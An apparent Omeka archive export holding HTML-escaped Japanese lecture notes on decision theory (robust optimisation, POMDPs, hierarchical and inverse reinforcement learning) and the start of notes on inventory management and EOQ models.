&lt;div&gt;&lt;span&gt;### 分散ロバスト最適化とWasserstein距離&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;分布ロバスト最適化で、Wasserstein距離による不確実性集合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{P} = \{P: W_p(P, P_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を用いると、双対問題は有限次元の凸最適化問題に帰着される。Kantorovich-Rubinstein双対性により、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{P: W_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;(P, P_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_P[f(X)] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;inf_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_{P_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_x \{f(x) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda d(x, X)\}]&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が成立する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 部分観測マルコフ決定過程（POMDP）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;状態 $&lt;/span&gt;&lt;span&gt;s_t$&lt;/span&gt;&lt;span&gt; が直接観測できず、観測 $&lt;/span&gt;&lt;span&gt;o_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim O(o_t|s_t)$&lt;/span&gt;&lt;span&gt; のみが得られる場合、信念状態（belief state）$&lt;/span&gt;&lt;span&gt;b_t(s) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{P}(s_t = s | o_{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;:t}, a_{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;:t-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;})$&lt;/span&gt;&lt;span&gt; を管理する。信念更新は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;b_{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(s') = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{O(o_{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}|s') &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_s P(s'|s, a_t) b_t(s)}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s'} O(o_{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}|s') &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_s P(s'|s, a_t) b_t(s)}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で行われる。値関数は信念空間上で定義され、Pineauらの点ベース値反復法で近似される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 階層的強化学習とオプション&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;オプション $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega = (I_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega)$&lt;/span&gt;&lt;span&gt; は、開始集合 $&lt;/span&gt;&lt;span&gt;I_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega$&lt;/span&gt;&lt;span&gt;、方策 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega$&lt;/span&gt;&lt;span&gt;、終了確率 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega$&lt;/span&gt;&lt;span&gt; で定義される。オプション価値関数は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Omega(s, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma^t r_{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega'} Q_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Omega(s_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega') &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid s_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = s, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で与えられる。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau$&lt;/span&gt;&lt;span&gt; はオプションの終了時刻である。階層的強化学習では、高レベル方策がオプションを選択し、低レベル方策がプリミティブ行動を選択する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 逆強化学習と模倣学習&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;専門家の軌跡 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau_E = \{(s_t, a_t)\}_{t=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^T$&lt;/span&gt;&lt;span&gt; から報酬関数 $&lt;/span&gt;&lt;span&gt;r(s,a)$&lt;/span&gt;&lt;span&gt; を推定する逆強化学習では、最大エントロピー原理に基づき&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau | r) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{Z(r)} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exp&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t} r(s_t, a_t)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を仮定する。最尤推定により、報酬関数は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;r^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;arg&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_r &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{D}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log P(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau | r) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda \|r\|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で推定される。模倣学習では、方策 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta$&lt;/span&gt;&lt;span&gt; を専門家の行動分布に近づけるため、KLダイバージェンス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta D_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{KL}}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_E \| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を最小化する。Generative Adversarial Imitation Learning（GAIL）では、判別器と生成器の敵対的訓練により模倣を行う。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## まとめ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;本章では、意思決定手法の理論的基礎から実践的応用まで、幅広いトピックを扱った。主な内容は以下の通りである：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 主要な理論的枠組み&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**期待効用理論**&lt;/span&gt;&lt;span&gt;：不確実性下での意思決定の基本理論&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; von Neumann-Morgensternの期待効用定理&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 効用関数の性質（リスク態度）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 実践例：新聞売り子問題（不確実な需要に対する最適発注量決定問題）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ベイズ意思決定理論**&lt;/span&gt;&lt;span&gt;：事前情報を活用した意思決定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ベイズ更新と事後分布&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ベイズリスク最小化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ゲーム理論**&lt;/span&gt;&lt;span&gt;：複数主体間の戦略的意思決定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ナッシュ均衡とその存在定理&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 囚人のジレンマと繰り返しゲーム&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; メカニズムデザイン&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 意思決定の分類&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 分類基準 | 種類 | 主要な手法 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|---------|------|-----------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 結果の確実性 | 決定論的/リスク下/不確実性下 | 最適化/期待効用/ベイズ決定 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 評価基準の数 | 単一目的/多目的 | 最適化/パレート最適化 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 選択肢の属性 | 単属性/多属性 | MAUT, AHP, TOPSIS |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 実践的応用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**在庫管理**&lt;/span&gt;&lt;span&gt;：期待効用最大化の具体例（新聞売り子問題など）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**オークション理論**&lt;/span&gt;&lt;span&gt;：VCGメカニズム、第二価格封印オークション&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**契約理論**&lt;/span&gt;&lt;span&gt;：Moral Hazard、Adverse Selection&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**強化学習**&lt;/span&gt;&lt;span&gt;：MDP、Q学習、Actor-Critic法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 計算的手法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ナッシュ均衡の計算**&lt;/span&gt;&lt;span&gt;：Lemke-Howsonアルゴリズム、Support Enumeration法&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**確率制御**&lt;/span&gt;&lt;span&gt;：HJB方程式、確率微分方程式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**数値解法**&lt;/span&gt;&lt;span&gt;：有限要素法、モンテカルロ法、深層学習との融合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 関連トピック&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**在庫管理**&lt;/span&gt;&lt;span&gt;：意思決定理論の実践的応用例（新聞売り子問題、EOQモデルなど）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**最適化理論**&lt;/span&gt;&lt;span&gt;：制約付き最適化、ロバスト最適化、分布ロバスト最適化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**機械学習**&lt;/span&gt;&lt;span&gt;：ベイズ最適化、メタ学習、フェデレーテッド学習&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 今後&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;意思決定理論を深めるためには、以下のトピックも重要である：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 行動経済学とプロスペクト理論の詳細&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 実験ゲーム理論と実証研究&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 多エージェントシステムと協調学習&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 情報設計とベイジアン説得の応用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;意思決定理論の実践的応用例としては、在庫管理（新聞売り子問題、EOQモデル）、オークション理論、契約理論、強化学習などが挙げられる。&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1931">
                <text>シミレーション工学８</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1932">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1933">
                <text>2025-11-15</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1934">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="126" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1930">
              <text>&lt;div&gt;
&lt;div&gt;&lt;span&gt;# 在庫管理の方式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理は、企業が商品や原材料を適切な量だけ保有し、過剰在庫による保管費用の増加や在庫不足による機会損失を最小化するための重要な経営管理手法である。本資料では、在庫管理の基本的な方式と理論について解説する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 目次&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;在庫管理の概要&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#在庫管理の概要&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;定期定量方式&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#定期定量方式&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;在庫管理の基本モデル&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#在庫管理の基本モデル&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;経済的発注量（EOQ: Economic Order Quantity）&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#経済的発注量eoq-economic-order-quantity&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;問題①　最適発注量の計算&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#問題①最適発注量の計算&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;6.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;リードタイムと安全在庫&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#リードタイムと安全在庫&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;7.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;問題②　リードタイムと安全在庫の計算&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#問題②リードタイムと安全在庫の計算&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;8.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;例②　新聞売り子問題（Newsvendor Problem）&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#例②新聞売り子問題newsvendor-problem&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;9.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;問題③　新聞売り子問題の数値計算&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#問題③新聞売り子問題の数値計算&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;10.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ポアソン分布による需要モデル&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ポアソン分布による需要モデル&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;11.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;シミュレーション結果の解釈&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#シミュレーション結果の解釈&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;12.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;在庫管理方式の選択指針&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#在庫管理方式の選択指針&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;13.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;まとめ&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#まとめ&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 在庫管理の概要&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理（Inventory Management）は、企業が商品や原材料を適切な量だけ保有し、過剰在庫による保管費用の増加や在庫不足による機会損失を最小化するための重要な経営管理手法である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 在庫管理の数学的定式化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理問題は、本質的に&lt;/span&gt;&lt;span&gt;**制約付き最適化問題**&lt;/span&gt;&lt;span&gt;（Constrained Optimization Problem）として定式化される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
